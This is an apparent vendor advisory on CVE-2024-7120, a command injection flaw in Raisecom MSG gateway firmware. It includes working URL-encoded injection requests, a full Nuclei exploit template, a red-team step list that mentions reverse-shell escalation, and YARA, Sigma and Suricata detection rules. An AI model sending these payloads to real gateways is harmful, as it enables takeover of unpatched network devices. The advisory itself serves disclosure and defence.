CVE-2024-7120

Executive Summary

CVE-2024-7120 is a critical OS command injection vulnerability affecting Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 gateway devices running firmware version 3.90. The flaw resides in the list_base_config.php file of the web interface, where the template parameter is improperly sanitized, allowing an authenticated attacker to inject arbitrary operating system commands. Successful exploitation leads to full system compromise, enabling attackers to execute commands with the privileges of the web server, typically root. A public proof-of-concept (PoC) exploit and a Nuclei template are available, increasing the risk of widespread exploitation. The vendor has not released a patch at the time of this analysis.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Raisecom gateway devices.

CVSS Breakdown & Threat Level

The CVSS v3.1 base score is 6.3 (Medium), with the following vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Attacker needs valid credentials.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited data access.
• Integrity (I): Low (L) - Limited data modification.
• Availability (A): Low (L) - Limited service disruption.

Threat Level: High. Despite the medium CVSS score, the availability of a public exploit, the critical nature of gateway devices, and the lack of a patch elevate the real-world risk. The EPSS score of 0.9226 (99.724th percentile) indicates a very high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the list_base_config.php script. The template parameter is passed to a function that executes system commands (likely exec(), system(), or shell_exec()) without proper sanitization. By injecting backticks (`) or other command separators, an attacker can execute arbitrary commands.

The Nuclei template demonstrates the injection:

GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{randstr}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60

This URL-encoded payload writes a random string to /www/tmp/info.html. The second request verifies the file exists, confirming command execution.

The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$template = $_GET['template'];
$command = "some_command --template " . $template;
system($command);
?>

Patched Code (Conceptual):

<?php
$template = $_GET['template'];
// Sanitize input: escape shell metacharacters
$safe_template = escapeshellarg($template);
$command = "some_command --template " . $safe_template;
system($command);
?>

The patched version uses escapeshellarg() to prevent command injection. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Raisecom web interface.
• Network access to the target device.

Exploitation Steps:

1. Authenticate to the web interface.
2. Craft the payload to execute a command. Example: Execute id and write output to a file.

   GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60id%3E%20%2Fwww%2Ftmp%2Foutput.txt%60
   

3. Verify execution by accessing the output file:

   GET /tmp/output.txt
   

4. Escalate to a reverse shell for persistent access.

Nuclei Template (Provided):

id: CVE-2024-7120

info:
  name: Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90 - Command Injection
  author: pussycat0x
  severity: medium
  description: |
    A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. This affects an unknown part of the file list_base_config.php of the component Web Interface. The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-272451.
  impact: |
    Authenticated attackers can execute arbitrary OS commands on the Raisecom gateway devices through command injection, achieving complete system compromise.
  remediation: |
    Apply security patches from Raisecom for MSG1200, MSG2100E, MSG2200, and MSG2300 devices running version 3.90 to address the command injection vulnerability.
  reference:
    - https://netsecfish.notion.site/Command-Injection-Vulnerability-in-RAISECOM-Gateway-Devices-673bc7d2f8db499f9de7182d4706c707?pvs=4
    - https://vuldb.com/?ctiid.272451
    - https://vuldb.com/?id.272451
    - https://vuldb.com/?submit.380167
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-7120
    cwe-id: CWE-78
    epss-score: 0.9226
    epss-percentile: 0.99724
  metadata:
    verified: true
    max-request: 2
    fofa-query: '"<TITLE>Web user login</TITLE>" && "<META content\==MSHTML 6.00.2900.5583\" name\=GENERATOR></HEAD>"'
  tags: cve,cve2024,intrusive,raisecom,rce,vkev,vuln

http:
  - raw:
      - |
        GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{randstr}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60  HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /tmp/info.html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: status
        status:
          - 200

Blue Team

Detection Steps:

1. Monitor HTTP logs for suspicious GET requests to /vpn/list_base_config.php with a template parameter containing backticks, pipes, or semicolons.
2. Check for unexpected files in /www/tmp/ or other writable directories.
3. Review system logs for unusual command execution (e.g., id, whoami, wget).
4. Implement network segmentation to limit access to the web interface.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /vpn/list_base_config.php with template parameter containing shell metacharacters.
  • Outbound connections from the device to unknown IPs (potential reverse shell).
• File System:
  • Unexpected files in /www/tmp/ (e.g., info.html, output.txt).
  • Modified system binaries or scripts.
• Process:
  • Unusual processes spawned by the web server (e.g., sh, bash, nc).

Detection Engineering

YARA Rule

rule CVE_2024_7120_Raisecom_Command_Injection {
    meta:
        description = "Detects command injection attempts against Raisecom gateways"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7120"
    strings:
        $s1 = "/vpn/list_base_config.php" ascii nocase
        $s2 = "template=" ascii nocase
        $s3 = "`" ascii
        $s4 = ";" ascii
        $s5 = "|" ascii
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: Raisecom Command Injection Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects HTTP requests targeting CVE-2024-7120
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/vpn/list_base_config.php'
        cs-uri-query|contains: 'template='
    filter:
        cs-uri-query|contains:
            - '`'
            - ';'
            - '|'
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7120 Raisecom Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/vpn/list_base_config.php"; http_uri; content:"template="; http_uri; pcre:"/template=[^&]*[`;|]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks.
2. Restrict access to the web interface to trusted IPs only.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply vendor patch when available.
• If patching is not possible, implement a virtual patch using a WAF to block malicious template parameters.
• Upgrade to a non-vulnerable firmware version if available.

Workaround:

• Disable the web interface if not required.
• Implement input validation on the template parameter using a reverse proxy.

Valters IT

{/* [Security Hash: 0A0837D2E1E09DC3ABC4061B] */}